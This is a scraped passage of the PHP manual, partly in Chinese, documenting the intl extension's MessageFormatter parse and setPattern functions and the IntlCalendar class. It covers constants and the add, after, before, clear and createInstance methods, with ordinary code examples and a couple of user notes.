MessageFormatter::parseMessage -- msgfmt_parse_message — Quick parse input string

说明

面向对象风格

public static MessageFormatter::parseMessage(string $locale, string $pattern, string $message): array|false

过程化风格

msgfmt_parse_message(string $locale, string $pattern, string $message): array|false

Parses input string without explicitly creating the formatter object. Use this function when the format operation is done only once and does not need any parameters or state to be kept.

参数

locale

The locale to use for parsing locale-dependent parts

pattern

The pattern with which to parse the message.

message

The string to parse, conforming to the pattern.

返回值

An array containing items extracted, or false on error

示例

Example #1 msgfmt_parse_message() example

<?php
$fmt = msgfmt_parse_message('en_US', "{0,number,integer} monkeys on {1,number,integer} trees make {2,number} monkeys per tree",
"4,560 monkeys on 123 trees make 37.073 monkeys per tree");
var_export($fmt);

$fmt = msgfmt_parse_message('de', "{0,number,integer} Affen auf {1,number,integer} B?umen sind {2,number} Affen pro Baum",
"4.560 Affen auf 123 B?umen sind 37,073 Affen pro Baum");
var_export($fmt);
?>

Example #2 OO example

<?php
$fmt = MessageFormatter::parseMessage('en_US', "{0,number,integer} monkeys on {1,number,integer} trees make {2,number} monkeys per tree",
"4,560 monkeys on 123 trees make 37.073 monkeys per tree");
var_export($fmt);

$fmt = MessageFormatter::parseMessage('de', "{0,number,integer} Affen auf {1,number,integer} B?umen sind {2,number} Affen pro Baum",
"4.560 Affen auf 123 B?umen sind 37,073 Affen pro Baum");
var_export($fmt);
?>

以上示例会输出：

array (
  0 => 4560,
  1 => 123,
  2 => 37.073,
)
array (
  0 => 4560,
  1 => 123,
  2 => 37.073,
)

参见

  • msgfmt_create() - Constructs a new Message Formatter
  • msgfmt_format_message() - Quick format message
  • msgfmt_parse() - Parse input string according to pattern

User Contributed Notes

There are no user contributed notes for this page.


Parse input string according to pattern

  • ? MessageFormatter::parseMessage
  • MessageFormatter::setPattern ?
  • PHP Manual
  • MessageFormatter
  • Parse input string according to pattern

MessageFormatter::parse

msgfmt_parse

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

MessageFormatter::parse -- msgfmt_parse — Parse input string according to pattern

说明

面向对象风格

public MessageFormatter::parse(string $string): array|false

过程化风格

msgfmt_parse(MessageFormatter $formatter, string $string): array|false

Parses input string and return any extracted items as an array.

参数

formatter

The message formatter

string

The string to parse

返回值

An array containing the items extracted, or false on error

示例

Example #1 msgfmt_parse() example

<?php
$fmt = msgfmt_create('en_US', "{0,number,integer} monkeys on {1,number,integer} trees make {2,number} monkeys per tree");
$res = msgfmt_parse($fmt, "4,560 monkeys on 123 trees make 37.073 monkeys per tree");
var_export($res);

$fmt = msgfmt_create('de', "{0,number,integer} Affen auf {1,number,integer} B?umen sind {2,number} Affen pro Baum");
$res = msgfmt_parse($fmt, "4.560 Affen auf 123 B?umen sind 37,073 Affen pro Baum");
var_export($res);
?>

Example #2 OO example

<?php
$fmt = new MessageFormatter('en_US', "{0,number,integer} monkeys on {1,number,integer} trees make {2,number} monkeys per tree");
$res = $fmt->parse("4,560 monkeys on 123 trees make 37.073 monkeys per tree");
var_export($res);

$fmt = new MessageFormatter('de', "{0,number,integer} Affen auf {1,number,integer} B?umen sind {2,number} Affen pro Baum");
$res = $fmt->parse("4.560 Affen auf 123 B?umen sind 37,073 Affen pro Baum");
var_export($res);
?>

以上示例会输出：

array (
  0 => 4560,
  1 => 123,
  2 => 37.073,
)
array (
  0 => 4560,
  1 => 123,
  2 => 37.073,
)

参见

  • msgfmt_create() - Constructs a new Message Formatter
  • msgfmt_format() - Format the message
  • msgfmt_parse_message() - Quick parse input string

User Contributed Notes

There are no user contributed notes for this page.


Set the pattern used by the formatter

  • ? MessageFormatter::parse
  • IntlCalendar ?
  • PHP Manual
  • MessageFormatter
  • Set the pattern used by the formatter

MessageFormatter::setPattern

msgfmt_set_pattern

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

MessageFormatter::setPattern -- msgfmt_set_pattern — Set the pattern used by the formatter

说明

面向对象风格

public MessageFormatter::setPattern(string $pattern): bool

过程化风格

msgfmt_set_pattern(MessageFormatter $formatter, string $pattern): bool

Set the pattern used by the formatter

参数

formatter

The message formatter

pattern

The pattern string to use in this message formatter. The pattern uses an 'apostrophe-friendly' syntax; see » Quoting/Escaping for details.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 msgfmt_set_pattern() example

<?php
$fmt = msgfmt_create( "en_US", "{0, number} monkeys on {1, number} trees" );
echo "Default pattern: '" . msgfmt_get_pattern( $fmt ) . "'\n";
echo "Formatting result: " . msgfmt_format( $fmt, array(123, 456) ) . "\n";

msgfmt_set_pattern( $fmt, "{0, number} trees hosting {1, number} monkeys" );
echo "New pattern: '" . msgfmt_get_pattern( $fmt ) . "'\n";
echo "Formatted number: " . msgfmt_format( $fmt, array(123, 456) ) . "\n";
?>

Example #2 OO example

<?php
$fmt = new MessageFormatter( "en_US", "{0, number} monkeys on {1, number} trees" );
echo "Default pattern: '" . $fmt->getPattern() . "'\n";
echo "Formatting result: " . $fmt->format(array(123, 456)) . "\n";

$fmt->setPattern("{0, number} trees hosting {1, number} monkeys" );
echo "New pattern: '" . $fmt->getPattern() . "'\n";
echo "Formatted number: " . $fmt->format(array(123, 456)) . "\n";
?>

以上示例会输出：

Default pattern: '{0,number} monkeys on {1,number} trees'
Formatting result: 123 monkeys on 456 trees
New pattern: '{0,number} trees hosting {1,number} monkeys'
Formatted number: 123 trees hosting 456 monkeys

参见

  • msgfmt_create() - Constructs a new Message Formatter
  • msgfmt_get_pattern() - Get the pattern used by the formatter

User Contributed Notes

neil dot smith at vouchercloud dot com 05-Aug-2014 12:29
A correct example would be to transpose the placeholders in pattern 2.

This is typical where changing messages from one language to another changes the word order, to result in a sensible translation.

Let's imagine it's localised as Spanish or Russian instead of English.
So really you want to have pattern 2 provided by your human translator to read like this :

New pattern: '{1,number} trees hosting {0,number} monkeys'
Formatted number: 456 trees hosting 123 monkeys

That is - the order of arguments is always the same, but your translated message content has the placeholders transposed for non English languages.


The IntlCalendar class

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

简介

类摘要

class IntlCalendar {
/* 常量 */
public const int FIELD_ERA;
public const int FIELD_YEAR;
public const int FIELD_MONTH;
public const int FIELD_WEEK_OF_YEAR;
public const int FIELD_WEEK_OF_MONTH;
public const int FIELD_DATE;
public const int FIELD_DAY_OF_YEAR;
public const int FIELD_DAY_OF_WEEK;
public const int FIELD_DAY_OF_WEEK_IN_MONTH;
public const int FIELD_AM_PM;
public const int FIELD_HOUR;
public const int FIELD_HOUR_OF_DAY;
public const int FIELD_MINUTE;
public const int FIELD_SECOND;
public const int FIELD_MILLISECOND;
public const int FIELD_ZONE_OFFSET;
public const int FIELD_DST_OFFSET;
public const int FIELD_YEAR_WOY;
public const int FIELD_DOW_LOCAL;
public const int FIELD_EXTENDED_YEAR;
public const int FIELD_JULIAN_DAY;
public const int FIELD_MILLISECONDS_IN_DAY;
public const int FIELD_IS_LEAP_MONTH;
public const int FIELD_FIELD_COUNT;
public const int FIELD_DAY_OF_MONTH;
public const int DOW_SUNDAY;
public const int DOW_MONDAY;
public const int DOW_TUESDAY;
public const int DOW_WEDNESDAY;
public const int DOW_THURSDAY;
public const int DOW_FRIDAY;
public const int DOW_SATURDAY;
public const int DOW_TYPE_WEEKDAY;
public const int DOW_TYPE_WEEKEND;
public const int DOW_TYPE_WEEKEND_OFFSET;
public const int DOW_TYPE_WEEKEND_CEASE;
public const int WALLTIME_FIRST;
public const int WALLTIME_LAST;
public const int WALLTIME_NEXT_VALID;
/* 方法 */
private __construct()
public add(int $field, int $value): bool
public after(IntlCalendar $other): bool
public before(IntlCalendar $other): bool
public clear(?int $field = null): true
public static createInstance(IntlTimeZone|DateTimeZone|string|null $timezone = null, ?string $locale = null): ?IntlCalendar
public equals(IntlCalendar $other): bool
public fieldDifference(float $timestamp, int $field): int|false
public static fromDateTime(DateTime|string $datetime, ?string $locale = null): ?IntlCalendar
public get(int $field): int|false
public getActualMaximum(int $field): int|false
public getActualMinimum(int $field): int|false
public static getAvailableLocales(): array
public getDayOfWeekType(int $dayOfWeek): int|false
public getErrorCode(): int|false
public getErrorMessage(): string|false
public getFirstDayOfWeek(): int|false
public getGreatestMinimum(int $field): int|false
public static getKeywordValuesForLocale(string $keyword, string $locale, bool $onlyCommon): IntlIterator|false
public getLeastMaximum(int $field): int|false
public getLocale(int $type): string|false
public getMaximum(int $field): int|false
public getMinimalDaysInFirstWeek(): int|false
public getMinimum(int $field): int|false
public static getNow(): float
public getRepeatedWallTimeOption(): int
public getSkippedWallTimeOption(): int
public getTime(): float|false
public getTimeZone(): IntlTimeZone|false
public getType(): string
public getWeekendTransition(int $dayOfWeek): int|false
public inDaylightTime(): bool
public isEquivalentTo(IntlCalendar $other): bool
public isLenient(): bool
public isSet(int $field): bool
public isWeekend(?float $timestamp = null): bool
public roll(int $field, int|bool $value): bool
public set(int $field, int $value): true
public set(
int $year,
int $month,
int $dayOfMonth = NULL,
int $hour = NULL,
int $minute = NULL,
int $second = NULL
): true
public setDate(int $year, int $month, int $dayOfMonth): void
public setDateTime(
int $year,
int $month,
int $dayOfMonth,
int $hour,
int $minute,
int $second = null
): void
public setFirstDayOfWeek(int $dayOfWeek): true
public setLenient(bool $lenient): true
public setMinimalDaysInFirstWeek(int $days): true
public setRepeatedWallTimeOption(int $option): true
public setSkippedWallTimeOption(int $option): true
public setTime(float $timestamp): bool
public setTimeZone(IntlTimeZone|DateTimeZone|string|null $timezone): bool
public toDateTime(): DateTime|false
}

预定义常量

IntlCalendar::FIELD_ERA

Calendar field numerically representing an era, for instance 1 for AD and 0 for BC in the Gregorian/Julian calendars and 235 for the Heisei (平成) era in the Japanese calendar. Not all calendars have more than one era.

IntlCalendar::FIELD_YEAR

Calendar field for the year. This is not unique across eras. If the calendar type has more than one era, generally the minimum value for this field will be 1.

IntlCalendar::FIELD_MONTH

Calendar field for the month. The month sequence is zero-based, so January (here used to signify the first month of the calendar; this may be called another name, such as Muharram in the Islamic calendar) is represented by 0, February by 1, ..., December by 11 and, for calendars that have it, the 13th or leap month by 12.

IntlCalendar::FIELD_WEEK_OF_YEAR

Calendar field for the number of the week of the year. This depends on which day of the week is deemed to start the week and the minimal number of days in a week.

IntlCalendar::FIELD_WEEK_OF_MONTH

Calendar field for the number of the week of the month. This depends on which day of the week is deemed to start the week and the minimal number of days in a week.

IntlCalendar::FIELD_DATE

Calendar field for the day of the month. The same as IntlCalendar::FIELD_DAY_OF_MONTH, which has a clearer name.

IntlCalendar::FIELD_DAY_OF_YEAR

Calendar field for the day of the year. For the Gregorian calendar, starts with 1 and ends with 365 or 366.

IntlCalendar::FIELD_DAY_OF_WEEK

Calendar field for the day of the week. Its values start with 1 (Sunday, see IntlCalendar::DOW_SUNDAY and subsequent constants) and the last valid value is 7 (Saturday).

IntlCalendar::FIELD_DAY_OF_WEEK_IN_MONTH

Given a day of the week (Sunday, Monday, ...), this calendar field assigns an ordinal to such a day of the week in a specific month. Thus, if the value of this field is 1 and the value of the day of the week is 2 (Monday), then the set day of the month is the 1st Monday of the month; the maximum value is 5.

Additionally, the value 0 and negative values are also allowed. The value 0 encompasses the seven days that occur immediately before the first seven days of a month (which therefore have a 'day of week in month' with value 1). Negative values starts counting from the end of the month - -1 points to the last occurrence of a day of the week in a month, -2 to the second last, and so on.

Unlike IntlCalendar::FIELD_WEEK_OF_MONTH and IntlCalendar::FIELD_WEEK_OF_YEAR, this value does not depend on IntlCalendar::getFirstDayOfWeek() or on IntlCalendar::getMinimalDaysInFirstWeek(). The first Monday is the first Monday, even if it occurs in a week that belongs to the previous month.

IntlCalendar::FIELD_AM_PM

Calendar field indicating whether a time is before noon (value 0, AM) or after (1). Midnight is AM, noon is PM.

IntlCalendar::FIELD_HOUR

Calendar field for the hour, without specifying whether it?s in the morning or in the afternoon. Valid values are 0 to 11.

IntlCalendar::FIELD_HOUR_OF_DAY

Calendar field for the full (24h) hour of the day. Valid values are 0 to 23.

IntlCalendar::FIELD_MINUTE

Calendar field for the minutes component of the time.

IntlCalendar::FIELD_SECOND

Calendar field for the seconds component of the time.

IntlCalendar::FIELD_MILLISECOND

Calendar field the milliseconds component of the time.

IntlCalendar::FIELD_ZONE_OFFSET

Calendar field indicating the raw offset of the timezone, in milliseconds. The raw offset is the timezone offset, excluding any offset due to daylight saving time.

IntlCalendar::FIELD_DST_OFFSET

Calendar field for the daylight saving time offset of the calendar?s timezone, in milliseconds, if active for calendar?s time.

IntlCalendar::FIELD_YEAR_WOY

Calendar field representing the year for week of year purposes.

IntlCalendar::FIELD_DOW_LOCAL

Calendar field for the localized day of the week. This is a value between 1 and 7, 1 being used for the day of the week that matches the value returned by IntlCalendar::getFirstDayOfWeek().

IntlCalendar::FIELD_EXTENDED_YEAR

Calendar field for a year number representation that is continuous across eras. For the Gregorian calendar, the value of this field matches that of IntlCalendar::FIELD_YEAR for AD years; a BC year y is represented by -y + 1.

IntlCalendar::FIELD_JULIAN_DAY

Calendar field for a modified Julian day number. It is different from a conventional Julian day number in that its transitions occur at local zone midnight rather than at noon UTC. It uniquely identifies a date.

IntlCalendar::FIELD_MILLISECONDS_IN_DAY

Calendar field encompassing the information in IntlCalendar::FIELD_HOUR_OF_DAY, IntlCalendar::FIELD_MINUTE, IntlCalendar::FIELD_SECOND and IntlCalendar::FIELD_MILLISECOND. Range is from the 0 to 24 * 3600 * 1000 - 1. It is not the amount of milliseconds elapsed in the day since on DST transitions it will have discontinuities analog to those of the wall time.

IntlCalendar::FIELD_IS_LEAP_MONTH

Calendar field whose value is 1 for indicating a leap month and 0 otherwise.

IntlCalendar::FIELD_FIELD_COUNT

The total number of fields.

IntlCalendar::FIELD_DAY_OF_MONTH

Alias for IntlCalendar::FIELD_DATE.

IntlCalendar::DOW_SUNDAY

Sunday.

IntlCalendar::DOW_MONDAY

Monday.

IntlCalendar::DOW_TUESDAY

Tuesday.

IntlCalendar::DOW_WEDNESDAY

Wednesday.

IntlCalendar::DOW_THURSDAY

Thursday.

IntlCalendar::DOW_FRIDAY

Friday.

IntlCalendar::DOW_SATURDAY

Saturday.

IntlCalendar::DOW_TYPE_WEEKDAY

Output of IntlCalendar::getDayOfWeekType() indicating a day of week is a weekday.

IntlCalendar::DOW_TYPE_WEEKEND

Output of IntlCalendar::getDayOfWeekType() indicating a day of week belongs to the weekend.

IntlCalendar::DOW_TYPE_WEEKEND_OFFSET

Output of IntlCalendar::getDayOfWeekType() indicating the weekend begins during the given day of week.

IntlCalendar::DOW_TYPE_WEEKEND_CEASE

Output of IntlCalendar::getDayOfWeekType() indicating the weekend ends during the given day of week.

IntlCalendar::WALLTIME_FIRST

Output of IntlCalendar::getSkippedWallTimeOption() indicating that wall times in the skipped range should refer to the same instant as wall times with one hour less and of IntlCalendar::getRepeatedWallTimeOption() indicating the wall times in the repeated range should refer to the instant of the first occurrence of such wall time.

IntlCalendar::WALLTIME_LAST

Output of IntlCalendar::getSkippedWallTimeOption() indicating that wall times in the skipped range should refer to the same instant as wall times with one hour after and of IntlCalendar::getRepeatedWallTimeOption() indicating the wall times in the repeated range should refer to the instant of the second occurrence of such wall time.

IntlCalendar::WALLTIME_NEXT_VALID

Output of IntlCalendar::getSkippedWallTimeOption() indicating that wall times in the skipped range should refer to the instant when the daylight saving time transition occurs (begins).

Table of Contents

  • IntlCalendar::add — Add a (signed) amount of time to a field
  • IntlCalendar::after — Whether this object?s time is after that of the passed object
  • IntlCalendar::before — Whether this object?s time is before that of the passed object
  • IntlCalendar::clear — Clear a field or all fields
  • IntlCalendar::__construct — Private constructor for disallowing instantiation
  • IntlCalendar::createInstance — Create a new IntlCalendar
  • IntlCalendar::equals — Compare time of two IntlCalendar objects for equality
  • IntlCalendar::fieldDifference — Calculate difference between given time and this object?s time
  • IntlCalendar::fromDateTime — Create an IntlCalendar from a DateTime object or string
  • IntlCalendar::get — Get the value for a field
  • IntlCalendar::getActualMaximum — The maximum value for a field, considering the object?s current time
  • IntlCalendar::getActualMinimum — The minimum value for a field, considering the object?s current time
  • IntlCalendar::getAvailableLocales — Get array of locales for which there is data
  • IntlCalendar::getDayOfWeekType — Tell whether a day is a weekday, weekend or a day that has a transition between the two
  • IntlCalendar::getErrorCode — Get last error code on the object
  • IntlCalendar::getErrorMessage — Get last error message on the object
  • IntlCalendar::getFirstDayOfWeek — Get the first day of the week for the calendar?s locale
  • IntlCalendar::getGreatestMinimum — Get the largest local minimum value for a field
  • IntlCalendar::getKeywordValuesForLocale — Get set of locale keyword values
  • IntlCalendar::getLeastMaximum — Get the smallest local maximum for a field
  • IntlCalendar::getLocale — Get the locale associated with the object
  • IntlCalendar::getMaximum — Get the global maximum value for a field
  • IntlCalendar::getMinimalDaysInFirstWeek — Get minimal number of days the first week in a year or month can have
  • IntlCalendar::getMinimum — Get the global minimum value for a field
  • IntlCalendar::getNow — Get number representing the current time
  • IntlCalendar::getRepeatedWallTimeOption — Get behavior for handling repeating wall time
  • IntlCalendar::getSkippedWallTimeOption — Get behavior for handling skipped wall time
  • IntlCalendar::getTime — Get time currently represented by the object
  • IntlCalendar::getTimeZone — Get the object?s timezone
  • IntlCalendar::getType — Get the calendar type
  • IntlCalendar::getWeekendTransition — Get time of the day at which weekend begins or ends
  • IntlCalendar::inDaylightTime — Whether the object?s time is in Daylight Savings Time
  • IntlCalendar::isEquivalentTo — Whether another calendar is equal but for a different time
  • IntlCalendar::isLenient — Whether date/time interpretation is in lenient mode
  • IntlCalendar::isSet — Whether a field is set
  • IntlCalendar::isWeekend — Whether a certain date/time is in the weekend
  • IntlCalendar::roll — Add value to field without carrying into more significant fields
  • IntlCalendar::set — Set a time field or several common fields at once
  • IntlCalendar::setDate — Set a date fields
  • IntlCalendar::setDateTime — Set a date and time fields
  • IntlCalendar::setFirstDayOfWeek — Set the day on which the week is deemed to start
  • IntlCalendar::setLenient — Set whether date/time interpretation is to be lenient
  • IntlCalendar::setMinimalDaysInFirstWeek — Set minimal number of days the first week in a year or month can have
  • IntlCalendar::setRepeatedWallTimeOption — Set behavior for handling repeating wall times at negative timezone offset transitions
  • IntlCalendar::setSkippedWallTimeOption — Set behavior for handling skipped wall times at positive timezone offset transitions
  • IntlCalendar::setTime — Set the calendar time in milliseconds since the epoch
  • IntlCalendar::setTimeZone — Set the timezone used by this calendar
  • IntlCalendar::toDateTime — Convert an IntlCalendar into a DateTime object

User Contributed Notes

Doug 20-Jan-2023 03:54
Example obtaining a week and its boundaries (for building a calendar view):

<?php
$date = new DateTime('now');
$locale = 'en_US';

$thisWeek = IntlCalendar::fromDateTime($date, $locale);
$thisWeek->set(IntlCalendar::FIELD_DAY_OF_WEEK, $thisWeek->getFirstDayOfWeek());
// $thisWeek now points to the first day of the week
$weekStart = $thisWeek->toDateTime();

$daysToAdvance = $thisWeek->getMaximum(IntlCalendar::FIELD_DAY_OF_WEEK) - 1;
// Maximum number of days in a week minus 1 gets you to the last day
$weekEnd = $weekStart->modify("+{$daysToAdvance} days");

$previousWeek = IntlCalendar::fromDateTime($date, $locale);
$previousWeek->add(IntlCalendar::FIELD_WEEK_OF_YEAR, -1);
$previousWeek = $previousWeek->toDateTime();

$nextWeek = IntlCalendar::fromDateTime($date, $locale);
$nextWeek->add(IntlCalendar::FIELD_WEEK_OF_YEAR, 1);
$nextWeek = $nextWeek->toDateTime();
?>


Add a (signed) amount of time to a field

  • ? IntlCalendar
  • IntlCalendar::after ?
  • PHP Manual
  • IntlCalendar
  • Add a (signed) amount of time to a field

IntlCalendar::add

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::add — Add a (signed) amount of time to a field

说明

面向对象风格

public IntlCalendar::add(int $field, int $value): bool

过程化风格

intlcal_add(IntlCalendar $calendar, int $field, int $value): bool

Add a signed amount to a field. Adding a positive amount allows advances in time, even if the numeric value of the field decreases (e.g. when working with years in BC dates).

Other fields may need to adjusted - for instance, adding a month to the 31st of January will result in the 28th (or 29th) of February. Contrary to IntlCalendar::roll(), when a value wraps around, more significant fields may change. For instance, adding a day to the 31st of January will result in the 1st of February, not the 1st of January.

参数

calendar

IntlCalendar 实例。

field

One of the IntlCalendar date/time field constants. These are integer values between 0 and IntlCalendar::FIELD_COUNT.

value

The signed amount to add to the current field. If the amount is positive, the instant will be moved forward; if it is negative, the instant will be moved into the past. The unit is implicit to the field type. For instance, hours for IntlCalendar::FIELD_HOUR_OF_DAY.

返回值

Returns true on success 或者在失败时返回 false.

示例

Example #1 IntlCalendar::add()

<?php
ini_set('intl.default_locale', 'fr_FR');
ini_set('date.timezone', 'UTC');

$cal = new IntlGregorianCalendar(2012, 0 /* January */, 31);
echo IntlDateFormatter::formatObject($cal), "\n";

$cal->add(IntlCalendar::FIELD_MONTH, 1);
echo IntlDateFormatter::formatObject($cal), "\n";

$cal->add(IntlCalendar::FIELD_DAY_OF_MONTH, 1);
echo IntlDateFormatter::formatObject($cal), "\n";

以上示例会输出：

31 janv. 2012 00:00:00
29 févr. 2012 00:00:00
1 mars 2012 00:00:00

User Contributed Notes

There are no user contributed notes for this page.


Whether this object?s time is after that of the passed object

  • ? IntlCalendar::add
  • IntlCalendar::before ?
  • PHP Manual
  • IntlCalendar
  • Whether this object?s time is after that of the passed object

IntlCalendar::after

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::after — Whether this object?s time is after that of the passed object

说明

面向对象风格

public IntlCalendar::after(IntlCalendar $other): bool

过程化风格

intlcal_after(IntlCalendar $calendar, IntlCalendar $other): bool

Returns whether this object?s time succeeds the argument?s time.

参数

calendar

IntlCalendar 实例。

other

The calendar whose time will be checked against the primary object?s time.

返回值

Returns true if this object?s current time is after that of the calendar argument?s time. Returns false otherwise.

On failure false is also returned. To detect error conditions use intl_get_error_code(), or set up Intl to throw exceptions.

示例

Example #1 IntlCalendar::after()

<?php
$cal1 = IntlCalendar::createInstance();
$cal2 = clone $cal1;

var_dump($cal1->after($cal2), //false
$cal2->after($cal1)); //false

$cal1->roll(IntlCalendar::FIELD_MILLISECOND, true);

var_dump($cal1->after($cal2), //true
$cal2->after($cal1)); //false

User Contributed Notes

There are no user contributed notes for this page.


Whether this object?s time is before that of the passed object

  • ? IntlCalendar::after
  • IntlCalendar::clear ?
  • PHP Manual
  • IntlCalendar
  • Whether this object?s time is before that of the passed object

IntlCalendar::before

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::before — Whether this object?s time is before that of the passed object

说明

面向对象风格

public IntlCalendar::before(IntlCalendar $other): bool

过程化风格

intlcal_before(IntlCalendar $calendar, IntlCalendar $other): bool

Returns whether this object?s time precedes the argument?s time.

参数

calendar

IntlCalendar 实例。

other

The calendar whose time will be checked against the primary object?s time.

返回值

Returns true if this object?s current time is before that of the calendar argument?s time. Returns false otherwise.

On failure false is also returned. To detect error conditions use intl_get_error_code(), or set up Intl to throw exceptions.

User Contributed Notes

There are no user contributed notes for this page.


Clear a field or all fields

  • ? IntlCalendar::before
  • IntlCalendar::__construct ?
  • PHP Manual
  • IntlCalendar
  • Clear a field or all fields

IntlCalendar::clear

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::clear — Clear a field or all fields

说明

面向对象风格

public IntlCalendar::clear(?int $field = null): true

过程化风格

intlcal_clear(IntlCalendar $calendar, ?int $field = null): true

Clears either all of the fields or a specific field. A cleared field is marked as unset, giving it the lowest priority against overlapping fields or even default values when calculating the time. Additionally, its value is set to 0, though given the field?s low priority, its value may have been internally set to another value by the time the field has finished been queried.

参数

calendar

IntlCalendar 实例。

field

One of the IntlCalendar date/time field constants. These are integer values between 0 and IntlCalendar::FIELD_COUNT.

返回值

总是返回 true。

更新日志

版本 | 说明
8.2.0 | 现在返回类型为 true；之前是 bool。

示例

Example #1 IntlCalendar::clear() examples

<?php
ini_set('intl.default_locale', 'es_ES');
ini_set('date.timezone', 'UTC');

$fields = array(
'FIELD_ERA' => 0,
'FIELD_YEAR' => 1,
'FIELD_MONTH' => 2,
'FIELD_WEEK_OF_YEAR' => 3,
'FIELD_WEEK_OF_MONTH' => 4,
'FIELD_DATE' => 5,
'FIELD_DAY_OF_YEAR' => 6,
'FIELD_DAY_OF_WEEK' => 7,
'FIELD_DAY_OF_WEEK_IN_MONTH' => 8,
'FIELD_AM_PM' => 9,
'FIELD_HOUR' => 10,
'FIELD_HOUR_OF_DAY' => 11,
'FIELD_MINUTE' => 12,
'FIELD_SECOND' => 13,
'FIELD_MILLISECOND' => 14,
'FIELD_ZONE_OFFSET' => 15,
'FIELD_DST_OFFSET' => 16,
'FIELD_YEAR_WOY' => 17,
'FIELD_DOW_LOCAL' => 18,
'FIELD_EXTENDED_YEAR' => 19,
'FIELD_JULIAN_DAY' => 20,
'FIELD_MILLISECONDS_IN_DAY' => 21,
'FIELD_IS_LEAP_MONTH' => 22,
'FIELD_FIELD_COUNT' => 23,
);
function getSetFields(IntlCalendar $cal) {
global $fields;
$ret = array();
foreach ($fields as $name => $value) {
if ($cal->isSet($value)) {
$ret[] = $name;
}
}
return $ret;
}

$cal = new IntlGregorianCalendar(2013, 2 /* March */, 15);
echo "After GregorianCalendar creation\n";
print_r(getSetFields($cal));
echo "\n";

echo IntlDateFormatter::formatObject($cal), "\n";
echo "After the formatter requested the extended year\n";
print_r(getSetFields($cal));
echo "\n";

$cal->clear(IntlCalendar::FIELD_YEAR);
echo "After the year has been cleared, the date stays the same\n";
echo IntlDateFormatter::formatObject($cal), "\n";
echo "because FIELD_EXTENDED_YEAR is still set\n";
print_r(getSetFields($cal));
echo "\n";

var_dump($cal->clear(IntlCalendar::FIELD_EXTENDED_YEAR));
echo "After the extended year has been cleared\n";
print_r(getSetFields($cal));
echo IntlDateFormatter::formatObject($cal), "\n";
echo "\n";

echo "After the fields are recalculated,\n"
. " extended year is set again (to 1970)\n";
print_r(getSetFields($cal));
echo "\n";

$cal->clear();
echo "After calling variant with no arguments\n";
print_r(getSetFields($cal));
echo IntlDateFormatter::formatObject($cal), "\n";

以上示例会输出：

After GregorianCalendar creation
Array
(
    [0] => FIELD_ERA
    [1] => FIELD_YEAR
    [2] => FIELD_MONTH
    [3] => FIELD_DATE
)

15/03/2013 00:00:00
After the formatter requested the extended year
Array
(
    [0] => FIELD_ERA
    [1] => FIELD_YEAR
    [2] => FIELD_MONTH
    [3] => FIELD_DATE
    [4] => FIELD_EXTENDED_YEAR
)

After the year has been cleared, the date stays the same
15/03/2013 00:00:00
because FIELD_EXTENDED_YEAR is still set
Array
(
    [0] => FIELD_ERA
    [1] => FIELD_MONTH
    [2] => FIELD_DATE
    [3] => FIELD_EXTENDED_YEAR
)

bool(true)
After the extended year has been cleared
Array
(
    [0] => FIELD_ERA
    [1] => FIELD_MONTH
    [2] => FIELD_DATE
)
15/03/1970 00:00:00

After the fields are recalculated,
 extended year is set again (to 1970)
Array
(
    [0] => FIELD_ERA
    [1] => FIELD_MONTH
    [2] => FIELD_DATE
    [3] => FIELD_EXTENDED_YEAR
)

After calling variant with no arguments
Array
(
)
01/01/1970 00:00:00

User Contributed Notes

There are no user contributed notes for this page.


Private constructor for disallowing instantiation

  • ? IntlCalendar::clear
  • IntlCalendar::createInstance ?
  • PHP Manual
  • IntlCalendar
  • Private constructor for disallowing instantiation

IntlCalendar::__construct

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::__construct — Private constructor for disallowing instantiation

说明

private IntlCalendar::__construct()

A private constructor for disallowing instantiation with the new operator.

Call IntlCalendar::createInstance() instead.

参数

此函数没有参数。

User Contributed Notes

There are no user contributed notes for this page.


Create a new IntlCalendar

  • ? IntlCalendar::__construct
  • IntlCalendar::equals ?
  • PHP Manual
  • IntlCalendar
  • Create a new IntlCalendar

IntlCalendar::createInstance

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::createInstance — Create a new IntlCalendar

说明

面向对象风格

public static IntlCalendar::createInstance(IntlTimeZone|DateTimeZone|string|null $timezone = null, ?string $locale = null): ?IntlCalendar

过程化风格

intlcal_create_instance(IntlTimeZone|DateTimeZone|string|null $timezone = null, ?string $locale = null): ?IntlCalendar

Given a timezone and locale, this method creates an IntlCalendar object. This factory method may return a subclass of IntlCalendar.

The calendar created will represent the time instance at which it was created, based on the system time. The fields can all be cleared by calling IntCalendar::clear() with no arguments. See also IntlGregorianCalendar::__construct().

参数

timezone

The timezone to use.

  • null, in which case the default timezone will be used, as specified in the ini setting date.timezone or through the function date_default_timezone_set() and as returned by date_default_timezone_get().

  • An IntlTimeZone, which will be used directly.

  • A DateTimeZone. Its identifier will be extracted and an ICU timezone object will be created; the timezone will be backed by ICU?s database, not PHP?s.

  • A string, which should be a valid ICU timezone identifier. See IntlTimeZone::createTimeZoneIDEnumeration(). Raw offsets such as "GMT+08:30" are also accepted.

locale

A locale to use or null to use the default locale.

返回值

The created IntlCalendar instance or null on failure.

示例

Example #1 IntlCalendar::createInstance()

<?php
ini_set('intl.default_locale', 'es_ES');
ini_set('date.timezone', 'Europe/Madrid');

$cal = IntlCalendar::createInstance();
echo "No arguments\n";
var_dump(get_class($cal),
IntlDateFormatter::formatObject($cal, IntlDateFormatter::FULL));
echo "\n";

echo "Explicit timezone\n";
$cal = IntlCalendar::createInstance(IntlTimeZone::getGMT());
var_dump(get_class($cal),
IntlDateFormatter::formatObject($cal, IntlDateFormatter::FULL));
echo "\n";

echo "Explicit locale (with calendar)\n";
$cal = IntlCalendar::createInstance(NULL, 'es_ES@calendar=persian');
var_dump(get_class($cal),
IntlDateFormatter::formatObject($cal, IntlDateFormatter::FULL));

以上示例会输出：
